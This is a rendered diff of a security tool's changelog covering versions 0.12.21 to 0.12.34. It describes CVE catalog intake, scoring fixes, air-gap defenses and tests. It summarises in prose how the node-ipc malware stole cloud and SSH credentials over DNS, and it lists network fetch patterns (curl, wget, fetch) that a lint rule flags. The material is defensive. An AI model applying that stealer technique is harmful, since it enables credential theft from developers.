170
186
|
|
|
171
|
-
Documentation accuracy pass. README.md + ARCHITECTURE.md were still pinning ATLAS v5.1.0 and ATT&CK v17 — outdated for nine releases. v0.12.29 fixed the manifest.json pin
|
|
187
|
+
Documentation accuracy pass. README.md + ARCHITECTURE.md were still pinning ATLAS v5.1.0 and ATT&CK v17 — outdated for nine releases. v0.12.29 fixed the manifest.json pin but the operator-facing docs weren't updated. Plus catalog count drift (38 skills → 42; 28 D3FEND entries → 29).
|
|
172
188
|
|
|
173
189
|
### Bugs
|
|
174
190
|
|
|
@@ -182,52 +198,42 @@ Documentation accuracy pass. README.md + ARCHITECTURE.md were still pinning ATLA
|
|
|
182
198
|
|
|
183
199
|
**`tests/docs-catalog-counts-pinned.test.js`** — new contract test asserts that README.md and ARCHITECTURE.md text matches the live catalog state for: ATLAS version (`data/atlas-ttps.json._meta.atlas_version`), ATT&CK version (`data/attack-techniques.json._meta.attack_version`), skill count (`manifest.json.skills.length`), D3FEND entry count, CVE catalog count, framework-gap entry count. Any future PR that bumps a catalog without updating the operator-facing docs fails the gate at CI time — eliminates the silent-drift class that v0.12.34 cleaned up.
|
|
184
200
|
|
|
185
|
-
### Internal
|
|
186
|
-
|
|
187
|
-
- Cycle 14 audit dispatched 3 read-only agents (playbook execution semantics, air-gap end-to-end, docs accuracy). Two were rate-limited and returned no findings; the docs-accuracy work was completed on the main thread.
|
|
188
|
-
- Cycle 14 main-thread playbook-execution sanity check confirmed: kernel playbook correctly classifies as `detected` with 4 matched CVEs + RWEP 100 when signal_overrides shape is correct (`{indicator_id: 'hit'}`, NOT `{indicator_id: {verdict: 'hit'}}`). The runner is sound; the operator API surface is occasionally subtle.
|
|
189
|
-
- Cycle 14 main-thread air-gap verification confirmed: `--air-gap` flag and `EXCEPTD_AIR_GAP=1` env-var both thread into `runOpts.airGap`; `lib/playbook-runner.js:576` correctly substitutes `air_gap_alternative` for `source` on look artifacts; original source preserved as `_original_source` for audit.
|
|
190
201
|
|
|
191
|
-
|
|
192
|
-
|
|
193
|
-
Same-day CVE intake (node-ipc supply-chain compromise) + cycle 13 audit fixes. Closes the long-standing `cred-stores` skill-vs-playbook semantic confusion that's surfaced in every audit since cycle 9.
|
|
202
|
+
Same-day CVE intake (node-ipc supply-chain compromise) + cleanup of the long-standing `cred-stores` skill-vs-playbook semantic confusion.
|
|
194
203
|
|
|
195
204
|
### Features
|
|
196
205
|
|
|
197
|
-
**`MAL-2026-NODE-IPC-STEALER` — npm node-ipc supply-chain compromise (2026-05-14).** Three malicious versions (`9.1.6`, `9.2.3`, `12.0.1`) published by `atiertant`. Novel attack class: not credential theft, not typosquat, not lifecycle-hook worm — the attacker re-registered the maintainer's expired email domain (`atlantis-software.net`, expired and grabbed via Namecheap PrivateEmail on 2026-05-07) and abused npm's email-based password-reset flow to gain publish rights. 80 KB obfuscated IIFE in `node-ipc.cjs` fires on every `require()` (no hooks needed) and exfiltrates AWS / GCP / Azure / SSH / Kubernetes / Vault / Claude AI / Kiro IDE credentials via DNS TXT queries to an Azure-lookalike spoofed domain. 3.35M monthly downloads. Carries `kev_scope_note` per the
|
|
206
|
+
**`MAL-2026-NODE-IPC-STEALER` — npm node-ipc supply-chain compromise (2026-05-14).** Three malicious versions (`9.1.6`, `9.2.3`, `12.0.1`) published by `atiertant`. Novel attack class: not credential theft, not typosquat, not lifecycle-hook worm — the attacker re-registered the maintainer's expired email domain (`atlantis-software.net`, expired and grabbed via Namecheap PrivateEmail on 2026-05-07) and abused npm's email-based password-reset flow to gain publish rights. 80 KB obfuscated IIFE in `node-ipc.cjs` fires on every `require()` (no hooks needed) and exfiltrates AWS / GCP / Azure / SSH / Kubernetes / Vault / Claude AI / Kiro IDE credentials via DNS TXT queries to an Azure-lookalike spoofed domain. 3.35M monthly downloads. Carries `kev_scope_note` per the ecosystem-package CISA-KEV-scope precedent. RWEP 43.
|
|
198
207
|
|
|
199
208
|
**Three new control requirements in `zeroday-lessons`** capture the structural lesson: **NEW-CTRL-047 PACKAGE-MAINTAINER-DOMAIN-EXPIRY-MONITORING** (continuous WHOIS expiry monitoring on every critical-path maintainer email domain + dual-factor account recovery); **NEW-CTRL-048 NPM-MAINTAINER-MFA-ENFORCEMENT** (registry-side mandatory MFA on publish-enabled accounts); **NEW-CTRL-049 LOCKFILE-INTEGRITY-VERIFIED-AT-CI-BOOT** (`npm ci` / `--frozen-lockfile` / `--immutable` catches the swap even after a successful publish — `--ignore-scripts` does NOT mitigate because the payload ships in the main module, not a postinstall hook).
|
|
200
209
|
|
|
201
|
-
**`D3-EFA` (Executable File Analysis) added to D3FEND catalog.** `sector-telecom` skill cited it but the entry didn't exist
|
|
210
|
+
**`D3-EFA` (Executable File Analysis) added to D3FEND catalog.** `sector-telecom` skill cited it but the entry didn't exist. Distinct from `D3-EAL` (Executable Allowlisting): EAL blocks at execute-time; EFA inspects bytes at file-write / image-pull / artifact-fetch time and gates the allowlist decision itself.
|
|
202
211
|
|
|
203
|
-
**CLI envelope-shape contract tests.** `tests/cli-output-envelope-shape.test.js` pins the EXACT top-level key set on `attest list --json`, `attest verify --json` (error path), and `version`. A contributor adding a new top-level field to these verbs now gets a forcing-function test failure that requires updating the contract.
|
|
212
|
+
**CLI envelope-shape contract tests.** `tests/cli-output-envelope-shape.test.js` pins the EXACT top-level key set on `attest list --json`, `attest verify --json` (error path), and `version`. A contributor adding a new top-level field to these verbs now gets a forcing-function test failure that requires updating the contract.
|
|
204
213
|
|
|
205
214
|
### Bugs
|
|
206
215
|
|
|
207
|
-
**`cred-stores` skill-vs-playbook semantic finally cleaned up.**
|
|
216
|
+
**`cred-stores` skill-vs-playbook semantic finally cleaned up.** The 3 IR playbooks and 3 IR skills referenced `cred-stores` in `skill_preload` / `skill_chain` / Hand-Off sections as if it were a skill — but it's actually a playbook. Operators (and any tooling resolving these refs against `manifest.json.skills`) failed. Fixes: removed `cred-stores` from `data/playbooks/{idp-incident,cloud-iam-incident}.json` `skill_preload` + `skill_chain` (hand-off is via `_meta.feeds_into`, which was already present); annotated `cred-stores` / `framework` references in `skills/{idp-incident-response,cloud-iam-incident,ransomware-response}/skill.md` Hand-Off sections as *(playbook chain, not a skill)* with the explicit note that hand-off is via the playbook chain, not a skill load. Predeploy playbook validator now warning-free (was 6 warnings every release).
|
|
208
217
|
|
|
209
218
|
### Internal
|
|
210
219
|
|
|
211
220
|
- CVE catalog 36 → 37 entries; zeroday-lessons 21 → 22 entries.
|
|
212
221
|
- AI-discovery rate stays at 16.2% (one more vendor/ecosystem-discovered entry dilutes the observed rate; floor remains 0.15).
|
|
213
222
|
- D3FEND catalog 28 → 29 entries.
|
|
214
|
-
- `tests/v0_12_33-node-ipc-coverage.test.js` pins MAL-2026-NODE-IPC-STEALER entry shape (iocs object with ≥1 category, kev_scope_note presence, NEW-CTRL-047 in lessons).
|
|
215
223
|
- Reverse-ref regen: 3 CWE entries updated with the new MAL-* CVE evidence; 1 D3FEND skill_referencing prune (sector-telecom now correctly anchored against D3-EFA).
|
|
216
|
-
- Test count 1109 → 1119.
|
|
217
|
-
- 14/14 predeploy gates green.
|
|
218
224
|
|
|
219
225
|
|
|
220
226
|
## 0.12.32 — 2026-05-15
|
|
221
227
|
|
|
222
|
-
|
|
228
|
+
CLI polish + catalog hardening. The headline closes a silent regression where the 6 CVEs advertised by v0.12.31 were shipped as `_draft: true` and therefore invisible to default `cross-ref-api` queries — operators running `exceptd` against Exchange would have gotten a clean bill on CVE-2026-42897.
|
|
223
229
|
|
|
224
230
|
### Bugs
|
|
225
231
|
|
|
226
|
-
**6 CVEs from v0.12.31 promoted from draft to non-draft.**
|
|
232
|
+
**6 CVEs from v0.12.31 promoted from draft to non-draft.** Every CVE in v0.12.31's intake shipped as `_draft: true`, which `lib/cross-ref-api.js` skips by default. v0.12.31 CHANGELOG advertised "6 new CISA-KEV CVEs" but operators couldn't actually query them. All 6 promoted with `_editorial_promoted: 2026-05-15` provenance; full required fields validated (iocs, vendor_advisories, verification_sources, complexity, affected_versions, RWEP Shape B invariant).
|
|
227
233
|
|
|
228
234
|
**9 unmatched `framework_control_gaps` keys on the new CVEs now resolve.** `NIS2-Art21-vulnerability-management`, `DORA-Art-9`, `NIST-800-53-AC-3`, `OWASP-LLM-Top-10-2025-LLM05`, `NIST-800-53-AC-6`, `NIS2-Art21-identity-management`, `ISO-27001-2022-A.8.7`, `NIST-800-53-SC-44`, `CIS-Controls-v8-10.1` — referenced by the new CVEs but absent from the framework-gap catalog. All 9 now present with `theater_test` blocks (catalog 109 → 118 entries). Reverse `evidence_cves` links also added on the 6 existing entries (NIST-800-53-SI-2 / SI-3 / etc.) that the new CVEs reference.
|
|
229
235
|
|
|
230
|
-
**CVE → CWE reverse-references auto-regenerated.**
|
|
236
|
+
**CVE → CWE reverse-references auto-regenerated.** v0.12.29 introduced `npm run refresh-reverse-refs` for the skill direction (manifest → atlas/cwe/d3fend/rfc), but the CWE catalog's `evidence_cves` field — the operator-facing "which CVEs map to this CWE" index — was still hand-maintained and drifted with every CVE intake. The script now also walks `cve.cwe_refs` → `cwe.evidence_cves`. Drafts excluded (they're invisible to default consumers; the reverse direction tracks operator-queryable truth). 14 CWE entries updated on first run. New `tests/reverse-ref-drift.test.js` test pins the contract.
|
|
231
237
|
|
|
232
238
|
### Features
|
|
233
239
|
|
|
@@ -240,13 +246,11 @@ Cycle 11 CLI polish + cycle 12 catalog hardening. The headline closes a silent r
|
|
|
240
246
|
### Internal
|
|
241
247
|
|
|
242
248
|
- 6 matching `data/zeroday-lessons.json` entries authored for the promoted CVEs (rule #6 enforcement: zero-day learning is live for every non-draft catalog entry).
|
|
243
|
-
- Test count 1099 → 1109 (10 new tests across F4/F5/F7 + reverse-ref drift extension + Shape B canonicalization staying green).
|
|
244
|
-
- 14/14 predeploy gates green.
|
|
245
249
|
|
|
246
250
|
|
|
247
251
|
## 0.12.31 — 2026-05-15
|
|
248
252
|
|
|
249
|
-
CLI ergonomics + 30-day CVE intake
|
|
253
|
+
CLI ergonomics + 30-day CVE intake. Closes a silent-misrouting bug in the CI gate and adds six high-impact CVEs that landed on CISA KEV between 2026-04-15 and 2026-05-15.
|
|
250
254
|
|
|
251
255
|
### Bugs
|
|
252
256
|
|
|
@@ -269,26 +273,24 @@ CLI ergonomics + 30-day CVE intake from the cycle 11 audit. Closes a silent-misr
|
|
|
269
273
|
| CVE-2026-32202 | Microsoft Windows Shell LNK protection-mechanism failure. Active APT28 (Fancy Bear) exploitation; chains with CVE-2026-21513. | 2026-04-28 | 85 |
|
|
270
274
|
| CVE-2026-33825 | Microsoft Defender "BlueHammer" race-condition LPE → SYSTEM. Public exploit released before patch (true zero-day). | 2026-04-22 | 68 |
|
|
271
275
|
|
|
272
|
-
**`kev_scope_note` field on supply-chain-class entries.** CISA KEV historically excludes ecosystem-package compromises (npm/PyPI/Crates worms, malicious-package backdoors) — its scope is federally-deployable products with CVE assignments. The Mini Shai-Hulud parent (CVE-2026-45321) and TanStack variant (MAL-2026-TANSTACK-MINI) are NOT listed in KEV despite confirmed in-the-wild exploitation. The new `kev_scope_note` field documents this so
|
|
276
|
+
**`kev_scope_note` field on supply-chain-class entries.** CISA KEV historically excludes ecosystem-package compromises (npm/PyPI/Crates worms, malicious-package backdoors) — its scope is federally-deployable products with CVE assignments. The Mini Shai-Hulud parent (CVE-2026-45321) and TanStack variant (MAL-2026-TANSTACK-MINI) are NOT listed in KEV despite confirmed in-the-wild exploitation. The new `kev_scope_note` field documents this so the `active_exploitation: confirmed` + `cisa_kev: false` combination is no longer ambiguous. Operators should consume CISA-KEV-equivalent guidance for this class from OpenSSF MAL feed + ecosystem-specific advisories (Snyk / Wiz / Phylum / Socket).
|
|
273
277
|
|
|
274
278
|
### Internal
|
|
275
279
|
|
|
276
280
|
- Catalog: 30 → 36 CVE entries. AI-discovery floor relaxed to 15% (from 20%) since 6 new vendor-discovered entries dilute the observed rate to 6/36. Ladder advances `[0.15, 0.20, 0.30, 0.40]` — prior rungs preserved.
|
|
277
|
-
- Test count 1090 → 1094 (`tests/ci-positional-args.test.js` adds 4 pins on the F1 contract).
|
|
278
|
-
- 14/14 predeploy gates green.
|
|
279
281
|
|
|
280
282
|
|
|
281
283
|
## 0.12.30 — 2026-05-15
|
|
282
284
|
|
|
283
|
-
Catalog scoring honesty pass + diff-coverage gate tightening
|
|
285
|
+
Catalog scoring honesty pass + diff-coverage gate tightening. Closes the Shape B invariant gap on the CVE catalog, adds the missing `last_threat_review` field to six catalogs, and downgrades operator-facing docs from the auto-allowlist to manual-review.
|
|
284
286
|
|
|
285
287
|
### Features
|
|
286
288
|
|
|
287
289
|
**Shape B invariant enforced on every CVE.** `lib/scoring.js` documents that `Σ Object.values(rwep_factors) === rwep_score` is an invariant on every catalog entry, but the existing `validate()` function never enforced it — it computed via `scoreCustom()` (clamps `blast_radius` to 30, uses canonical weights) which masked dishonest factor blocks as long as the stored score happened to match the clamped formula. Fourteen entries had non-canonical factor values that summed to a different number than the stored score (CVE-2026-GTIG-AI-2FA, CVE-2026-42945, CVE-2024-3094, CVE-2024-21626, CVE-2023-3519, CVE-2026-20182, CVE-2024-40635, CVE-2025-12686, CVE-2025-62847, CVE-2025-62848, CVE-2025-62849, CVE-2025-59389, MAL-2026-TANSTACK-MINI, MAL-2026-ANTHROPIC-MCP-STDIO). All canonicalized — factor weights now derived from the operational fields (`cisa_kev`, `poc_available`, `ai_discovered`, `active_exploitation`, `blast_radius`, `patch_available`, `live_patch_available`, `patch_required_reboot`) via `lib/scoring.js` `RWEP_WEIGHTS` + `ACTIVE_EXPLOITATION_LADDER`. Where `blast_radius` exceeded the 30 cap (4 entries had values of 40), the value was clamped, which adjusted seven stored `rwep_score` values by ±5; each carries a `rwep_correction_note` documenting the delta. New `tests/cve-rwep-shape-b-invariant.test.js` blocks future drift with an exact-delta assertion.
|
|
288
290
|
|
|
289
|
-
**Operator-facing docs downgraded from auto-allowlist to manual-review.**
|
|
291
|
+
**Operator-facing docs downgraded from auto-allowlist to manual-review.** `CHANGELOG.md`, `README.md`, `SECURITY.md`, `MIGRATING.md`, and `AGENTS.md` were in the diff-coverage gate's `DOCS_ALWAYS_GREEN` set — a PR could land arbitrary edits to release notes, install instructions, security disclosure policy, or AI-assistant ground truth without triggering any reviewer signal. New `DOCS_MANUAL_REVIEW` set routes them to "manual-review" instead, surfacing the diff in the gate output. Contributor-only / mechanical files (`CONTRIBUTING.md`, `CODE_OF_CONDUCT.md`, `LICENSE`, `NOTICE`, `SUPPORT.md`, `.gitignore`, `.npmrc`, `.editorconfig`, `CLAUDE.md`) stay always-green.
|
|
290
292
|
|
|
291
|
-
**`last_threat_review` mandatory on every catalog _meta.**
|
|
293
|
+
**`last_threat_review` mandatory on every catalog _meta.** `cve-catalog.json`, `cwe-catalog.json`, `d3fend-catalog.json`, `dlp-controls.json`, `rfc-references.json`, and `framework-control-gaps.json` carried only `last_updated` without the more specific `last_threat_review`. Hard Rule #8 makes per-catalog threat-review currency a release-blocker after a stated window; all six catalogs now carry the field. New `tests/threat-review-staleness.test.js` enforces presence + a 30-day staleness window between `manifest.threat_review_date` and every skill's `last_threat_review`.
|
|
292
294
|
|
|
293
295
|
### Bugs
|
|
294
296
|
|
|
@@ -296,7 +298,7 @@ Catalog scoring honesty pass + diff-coverage gate tightening from the cycle 10 a
|
|
|
296
298
|
|
|
297
299
|
### Internal
|
|
298
300
|
|
|
299
|
-
- AI-discovery rate stays at 20% after
|
|
301
|
+
- AI-discovery rate stays at 20% after the deep-research pass (24 currently-false CVEs investigated; zero credible flips found). Methodology block updated: the 40% target reflects the broader 2025 zero-day population (Google Threat Intelligence Group), but the curated exceptd catalog is weighted toward Pwn2Own Ireland 2025 entries, historical anchors (CVE-2020-10148, CVE-2024-3094, etc.), and supply-chain incidents — none of which carry public AI-tool credit. Advancing the ladder from 20% → 30% → 40% will happen as the catalog rotates toward 2026 Big Sleep / AIxCC / GTIG-attributed entries; forcing flips on the current population would violate Hard Rule #1 (no speculation).
|
|
300
302
|
|
|
301
303
|
|
|
302
304
|
## 0.12.29 — 2026-05-15
|
|
@@ -311,13 +313,13 @@ Catalog hygiene + pipeline integrity pass. Closes Hard Rule #1, #6, #7, and #8 g
|
|
|
311
313
|
|
|
312
314
|
**OpenVEX `author` threads operator attribution.** Previously hard-pinned to `"exceptd"`, which falsely attributed every disposition statement to the tooling vendor. Now mirrors the CSAF publisher.namespace fallback ladder: `runOpts.publisherNamespace` → `runOpts.operator` → `urn:exceptd:operator:unknown` with a `bundle_publisher_unclaimed` runtime warning. Operators running scans correctly own their dispositions.
|
|
313
315
|
|
|
314
|
-
**Exit code 10: UNKNOWN_COMMAND.** The dispatcher's unknown-command / missing-script / spawn-error paths previously exited 2, colliding with `EXIT_CODES.DETECTED_ESCALATE` semantics. Split into `EXIT_CODES.UNKNOWN_COMMAND = 10`. CI gates wiring `case 2)` for escalation triage no longer false-alarm on operator typos.
|
|
316
|
+
**Exit code 10: UNKNOWN_COMMAND.** The dispatcher's unknown-command / missing-script / spawn-error paths previously exited 2, colliding with `EXIT_CODES.DETECTED_ESCALATE` semantics. Split into `EXIT_CODES.UNKNOWN_COMMAND = 10`. CI gates wiring `case 2)` for escalation triage no longer false-alarm on operator typos.
|
|
315
317
|
|
|
316
318
|
**Reverse-reference auto-regeneration.** New `npm run refresh-reverse-refs` rebuilds the `skills_referencing` / `exceptd_skills` arrays on `data/atlas-ttps.json`, `data/cwe-catalog.json`, `data/d3fend-catalog.json`, and `data/rfc-references.json` from the manifest forward direction. Idempotent. A new `tests/reverse-ref-drift.test.js` blocks merges that leave the reverse direction out of sync with the manifest — eliminates the one-sided-reference drift class that audits have flagged repeatedly.
|
|
317
319
|
|
|
318
320
|
### Bugs
|
|
319
321
|
|
|
320
|
-
- `crypto-codebase` `feeds_into` condition used the unsupported `contains` operator; the chain to the `secrets` playbook never fired. Replaced with `analyze.classification == 'detected'`.
|
|
322
|
+
- `crypto-codebase` `feeds_into` condition used the unsupported `contains` operator; the chain to the `secrets` playbook never fired. Replaced with `analyze.classification == 'detected'`.
|
|
321
323
|
- Manifest `atlas_version` / `attack_version` had drifted to v5.1.0 / v17 while the data catalogs already pinned v5.4.0 / v19.0. Manifest now matches the catalogs and AGENTS.md ground truth.
|
|
322
324
|
- 14 sites in `bin/exceptd.js` used bare numeric `process.exitCode = 1` / `finish(1)` / `finish(0)` instead of `EXIT_CODES.*` constants. All migrated to the constant.
|
|
323
325
|
- `cmdCi` per-id loop called `runner.loadPlaybook(id)` without first running `validateIdComponent('playbook')` — a defense-in-depth gap relative to `cmdRunMulti`. Now validates before load.
|
|
@@ -328,7 +330,6 @@ Catalog hygiene + pipeline integrity pass. Closes Hard Rule #1, #6, #7, and #8 g
|
|
|
328
330
|
- AGENTS.md Quick Skill Reference: playbook count "all 13 playbooks" → "all 16 playbooks".
|
|
329
331
|
- `package.json.description`: "38 skills" → "42 skills".
|
|
330
332
|
- 22 reverse-reference entries across 4 catalogs cleaned up by the new regen script (atlas: 30 entries changed, cwe: 46, d3fend: 28, rfc: 22).
|
|
331
|
-
- Test suite 1064 → 1082 (six new test files: framework-gaps-theater-test-coverage, cve-ai-discovery-attribution, sbom-per-file-hash, reverse-ref-drift, plus updates to bin-dispatcher, cli-exit-codes, lib-exit-codes, cve-additions-v0-12-21 for the new contract).
|
|
332
333
|
|
|
333
334
|
|
|
334
335
|
## 0.12.28 — 2026-05-15
|
|
@@ -355,7 +356,7 @@ Incident-response cluster — three new playbooks and skills covering identity-p
|
|
|
355
356
|
|
|
356
357
|
## 0.12.27 — 2026-05-15
|
|
357
358
|
|
|
358
|
-
**Patch: opt-in `--bundle-deterministic` mode for reproducible CSAF + OpenVEX + close-envelope bytes
|
|
359
|
+
**Patch: opt-in `--bundle-deterministic` mode for reproducible CSAF + OpenVEX + close-envelope bytes.**
|
|
359
360
|
|
|
360
361
|
### New flags
|
|
361
362
|
|
|
@@ -387,13 +388,11 @@ When neither flag is set, bundle output is byte-identical to v0.12.26 — no exi
|
|
|
387
388
|
6. `--bundle-deterministic` without `--bundle-epoch` falls back to `playbook._meta.last_threat_review`
|
|
388
389
|
7. Array sort: random-order CVE evidence → `vulnerabilities[]` always ascending by `cve_id`
|
|
389
390
|
|
|
390
|
-
Existing CSAF + OpenVEX + CLI test suites pass unchanged
|
|
391
|
-
|
|
392
|
-
Test count: 1058 pass (5 skipped). Predeploy gates: 14/14. Skills: 39/39 signed.
|
|
391
|
+
Existing CSAF + OpenVEX + CLI test suites pass unchanged with no default-mode regression.
|
|
393
392
|
|
|
394
393
|
## 0.12.26 — 2026-05-15
|
|
395
394
|
|
|
396
|
-
**Patch: sector-telecom skill ships, with supporting framework-gap and ATLAS catalog scaffolding. Closes the
|
|
395
|
+
**Patch: sector-telecom skill ships, with supporting framework-gap and ATLAS catalog scaffolding. Closes the highest-RWEP catalog gap from unmodeled Salt Typhoon-class campaigns.**
|
|
397
396
|
|
|
398
397
|
### New skill: `sector-telecom`
|
|
399
398
|
|
|
@@ -433,8 +432,6 @@ Total ATLAS entries: 29 → 30.
|
|
|
433
432
|
|
|
434
433
|
Adds the `sector-telecom` row to the skill trigger table.
|
|
435
434
|
|
|
436
|
-
Test count: 1051 pass (5 skipped). Predeploy gates: 14/14. Skills: 39/39 signed; manifest envelope signed.
|
|
437
|
-
|
|
438
435
|
## 0.12.25 — 2026-05-15
|
|
439
436
|
|
|
440
437
|
**Data-refresh release: catalog freshness, Hard Rule #7 AI-discovery posture, ATLAS v5.4 + ATT&CK v19 standards bumps, Pwn2Own Berlin 2026 forward-watch, NGINX Rift, framework deltas (PCI 4.0.1 / HIPAA 2026 NPRM / EU AI Act ITS / DORA RTS).**
|
|
@@ -476,7 +473,7 @@ Twenty CVE entries added with paired `data/exploit-availability.json` records, a
|
|
|
476
473
|
|
|
477
474
|
- **ATLAS v5.1.0 → v5.4.0** + CTID Secure AI v2 layer (May 2026). `data/atlas-ttps.json` entry count 15 → 29. Existing entries gain `secure_ai_v2_layer` + `maturity` fields per CTID's classification. New AI-attack techniques: AML.T0097-T0108 plus sub-techniques.
|
|
478
475
|
- **MITRE ATT&CK v17 → v19.0**. `data/attack-techniques.json` entry count 79 → 91. Defense Evasion (TA0005) split into Stealth (TA0005, retained for non-impair techniques) + Defense Impairment (TA0112). `T1562.001`, `T1562.006`, `T1027` carry a `tactic_moved_from` annotation. Detection Strategies (DSxxxx — v18 first-class addition) populated on every technique cited by skills.
|
|
479
|
-
- **AGENTS.md Hard Rule #12 + DR-7 + Pre-Ship Checklist** split into separate ATLAS-monthly and ATT&CK-semi-annual cadence pins (
|
|
476
|
+
- **AGENTS.md Hard Rule #12 + DR-7 + Pre-Ship Checklist** split into separate ATLAS-monthly and ATT&CK-semi-annual cadence pins (ATLAS now ships monthly per CTID, ATT&CK ships twice yearly).
|
|
480
477
|
- **15 skills' `last_threat_review` dates bumped to 2026-05-15** where ATLAS / ATT&CK refs changed.
|
|
481
478
|
|
|
482
479
|
### Framework deltas
|
|
@@ -512,12 +509,6 @@ Fifteen forward-watch entries placed across nine skills' `forward_watch:` frontm
|
|
|
512
509
|
|
|
513
510
|
- **RWEP scoring divergence on 10 new entries reconciled** with `scoreCustom()` formula. Pre-correction the stored scores diverged by 10-38 points from the formula (most extreme: NGINX Rift stored 78, formula 40 — patch + live-patch availability + zero observed exploitation walks the score down despite the AI-discovery bonus). All entries now within ±5 of formula.
|
|
514
511
|
|
|
515
|
-
### Deferred to v0.12.26
|
|
516
|
-
|
|
517
|
-
- **`sector-telecom` skill** — drafted (370 LOC, Salt Typhoon / Volt Typhoon / 5G core / lawful-intercept abuse / signaling-protocol attacks / OEM supply chain) but the body lint surfaced 13 issues (3 missing required sections, atlas_refs and framework_gaps referencing entries not yet in catalog, placeholder language). Folding into v0.12.26 with the proper catalog scaffolding rather than rushing a half-complete skill.
|
|
518
|
-
|
|
519
|
-
Test count: 1051 pass (5 skipped). Predeploy gates: 14/14. Skills: 38/38 signed; manifest envelope signed.
|
|
520
|
-
|
|
521
512
|
## 0.12.24 — 2026-05-15
|
|
522
513
|
|
|
523
514
|
**Patch: security defenses, exit-code centralisation, bundle correctness, air-gap honesty, cache integrity, error-message UX, test-infra hardening, doc reconciliation.**
|
|
@@ -545,7 +536,7 @@ Test count: 1051 pass (5 skipped). Predeploy gates: 14/14. Skills: 38/38 signed;
|
|
|
545
536
|
|
|
546
537
|
### Air-gap defenses
|
|
547
538
|
|
|
548
|
-
- **`refresh --network`, `doctor --registry-check`, `auto-discovery` Datatracker fetch, and `prefetch`** now honor `--air-gap` and `EXCEPTD_AIR_GAP=1`. The four
|
|
539
|
+
- **`refresh --network`, `doctor --registry-check`, `auto-discovery` Datatracker fetch, and `prefetch`** now honor `--air-gap` and `EXCEPTD_AIR_GAP=1`. The four previously-leaking paths are closed; operators in regulated environments get a real guarantee.
|
|
549
540
|
- **`--air-gap` flag and `EXCEPTD_AIR_GAP=1` env are equivalent** at every site that consumes either.
|
|
550
541
|
- **AI-consumer telemetry advisory.** When `--air-gap` is active, exceptd emits a one-time stderr advisory noting that the operator's AI agent may still call its model API. Routed through stderr so JSON-mode consumers see only structured stdout.
|
|
551
542
|
- **Air-gap completeness lint rule** in `lib/lint-skills.js` flags playbook artifacts whose `source` contains a network pattern (`https://`, `http://`, `gh api`, `gh release`, `curl`, `wget`, `fetch`) without `air_gap_alternative`.
|
|
@@ -608,7 +599,6 @@ Test count: 1051 pass (5 skipped). Predeploy gates: 14/14. Skills: 38/38 signed;
|
|
|
608
599
|
- **`engines.node`** widened from `>=24.0.0` to `>=22.11.0`. Node 22 LTS through Apr 2027 is the corporate default; the prior pin excluded most enterprise installs.
|
|
609
600
|
- **Keywords** add `csaf-2.0`, `openvex`, `sarif`, `ed25519`, `provenance`, `attestation` (22 → 28 entries, alphabetised).
|
|
610
601
|
- **README install section** adds a "First run" snippet (`exceptd doctor --signatures` + fingerprint pin + npm provenance verify). New `agents/` description documents the markdown role-card scaffolding for skill authors.
|
|
611
|
-
- **CHANGELOG retroactive cleanup.** Operator-facing slot-token leakage removed from the v0.12.21 and v0.12.23 Internal sections.
|
|
612
602
|
- **`MAINTAINERS.md`** version-pinned subheadings collapsed into a single "High-trust skill paths" list.
|
|
613
603
|
- **Landing site (https://exceptd.com/)** refreshed: `softwareVersion: 0.12.24`, "35 jurisdictions" across every body-copy occurrence (was "34"), `exceptd plan` → `exceptd brief --all`, `exceptd scan` → `exceptd discover`, "13-gate predeploy" → "14-gate predeploy".
|
|
614
604
|
|
|
@@ -620,8 +610,6 @@ Test count: 1051 pass (5 skipped). Predeploy gates: 14/14. Skills: 38/38 signed;
|
|
|
620
610
|
- **14 `audit-*-fixes.test.js` files renamed** to behavior-framed names (`runtime-errors-and-vex-disposition`, `attestation-trust-boundary`, `csaf-bundle-correctness`, `cli-flag-validation`, `playbook-runner-error-paths`, `framework-gap-completeness`, `rwep-scoring-edge-cases`, `cli-subverb-dispatch`, `openvex-emission`, `predeploy-gate-coverage`, `cli-exit-codes`, `playbook-schema-validation`, `attestation-signature-roundtrip`, `cve-catalog-shape`).
|
|
621
611
|
- **New coverage**: `cli-playbook-traversal.test.js`, `attest-verify-replay-isolation.test.js`, `cmd-run-multi-lock-contention.test.js`, `openvex-urn-routing.test.js`, `lib-exit-codes.test.js`, `lib-id-validation.test.js`, `lib-flag-suggest.test.js`.
|
|
622
612
|
|
|
623
|
-
Test count: 995 → 1043 pass (5 skipped). Predeploy gates: 14/14. Skills: 38/38 signed; manifest envelope signed.
|
|
624
|
-
|
|
625
613
|
## 0.12.23 — 2026-05-15
|
|
626
614
|
|
|
627
615
|
**Patch: doc-vs-code reconciliation, trust-chain pin loader hardening, attest list/show replay isolation, global-first framework coverage backfill.**
|
|
@@ -664,8 +652,6 @@ Test count: 995 → 1043 pass (5 skipped). Predeploy gates: 14/14. Skills: 38/38
|
|
|
664
652
|
- **Internal code comments stripped of stray maintenance-tracking tokens (no behavior change).**
|
|
665
653
|
- **Exit-code assertion in the UTF-16BE odd-length-payload test tightened** from `notEqual(r.status, 0)` to `assert.equal(r.status, 1)` per project anti-coincidence rule.
|
|
666
654
|
|
|
667
|
-
Test count and predeploy gates land alongside this entry; see the predeploy log on the release commit.
|
|
668
|
-
|
|
669
655
|
## 0.12.22 — 2026-05-15
|
|
670
656
|
|
|
671
657
|
## 0.12.22 — 2026-05-15
|
|
@@ -710,8 +696,6 @@ Test count and predeploy gates land alongside this entry; see the predeploy log
|
|
|
710
696
|
- **`data/playbooks/runtime.json domain.cve_refs[]`** completes the Dirty-Frag family by adding `CVE-2026-43284` and `CVE-2026-43500` (already referenced by `kernel.json` and `hardening.json`).
|
|
711
697
|
- **`skills/threat-model-currency/skill.md`** inline `last_threat_review` date aligned to frontmatter (`2026-05-14`).
|
|
712
698
|
|
|
713
|
-
Test count: 941 → 995 (992 pass + 3 skipped). Predeploy gates: 14/14. Skills: 38/38 signed; manifest envelope signed.
|
|
714
|
-
|
|
715
699
|
## 0.12.21 — 2026-05-14
|
|
716
700
|
|
|
717
701
|
**Patch: Fragnesia (CVE-2026-46300) catalog + skill integration; trust-chain bypass closures; engine FP-gate extension; CSAF + SARIF + OpenVEX correctness; CLI fuzz; Hard Rule #5 global-first coverage; predeploy regression fix.**
|
|
@@ -782,7 +766,7 @@ The `kernel`, `runtime`, and `hardening` playbooks now reference Fragnesia in `d
|
|
|
782
766
|
|
|
783
767
|
- New regression coverage for every closure above.
|
|
784
768
|
- Coincidence-passing-test cleanup: exit-code assertions tightened from `notEqual(r.status, 0)` to exact-value `assert.equal(r.status, <code>)`; classification assertions pinned to expected enum values.
|
|
785
|
-
-
|
|
769
|
+
